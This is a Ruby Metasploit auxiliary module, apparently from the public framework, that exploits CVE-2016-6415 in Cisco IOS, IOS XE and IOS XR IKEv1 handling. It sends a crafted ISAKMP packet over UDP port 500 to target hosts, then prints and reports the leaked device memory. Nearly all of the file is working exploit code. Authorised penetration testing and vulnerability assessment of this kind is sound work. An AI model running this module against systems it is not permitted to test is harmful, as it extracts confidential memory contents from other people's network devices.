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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Cisco IKE Information Disclosure',
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      'Description'    => %q{
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        A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
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        processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software
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        could allow an unauthenticated, remote attacker to retrieve memory
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        contents, which could lead to the disclosure of confidential information.
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        The vulnerability is due to insufficient condition checks in the part
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        of the code that handles IKEv1 security negotiation requests.
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        An attacker could exploit this vulnerability by sending a crafted IKEv1
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        packet to an affected device configured to accept IKEv1 security
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        negotiation requests. A successful exploit could allow the attacker
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        to retrieve memory contents, which could lead to the disclosure of
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        confidential information.
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      },
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      'Author'         => [ 'Nixawk' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2016-6415' ],
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          [ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],
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          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],
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          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6415' ],
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          [ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]
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        ],
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      'DisclosureDate' => '2016-09-29'
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    ))
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    register_options(
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      [
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        Opt::RPORT(500),
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        OptPath.new('PACKETFILE',
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          [ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])
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      ])
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  end
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  def run_host(ip)
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    begin
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      isakmp_pkt = File.read(datastore['PACKETFILE'])
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      peer = "#{ip}:#{datastore['RPORT']}"
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      udp_sock = Rex::Socket::Udp.create(
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        {
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          'Context' => { 'Msf' => framework, 'MsfExploit' => self }
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        }
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      )
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      add_socket(udp_sock)
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      udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)
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      res = udp_sock.get(3)
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      return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...
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      # Convert non-printable characters to periods
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      printable_data = res.gsub(/[^[:print:]]/, '.')
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      # Show abbreviated data
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      vprint_status("Printable info leaked:\n#{printable_data}")
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      chars = res.unpack('C*')
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      len = (chars[30].to_s(16) + chars[31].to_s(16)).hex
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      return if len <= 0
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      print_good("#{peer} - IKE response with leak")
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      report_vuln({
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        :host => ip,
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        :port => datastore['RPORT'],
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        :proto => 'udp',
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        :name => self.name,
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        :refs => self.references,
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        :info => "Vulnerable to Cisco IKE Information Disclosure"
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      })
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      # NETWORK may return the same packet data.
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      return if res.length < 2500
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      pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
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      res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
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      print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
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    rescue
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    ensure
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      udp_sock.close
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    end
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  end
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end
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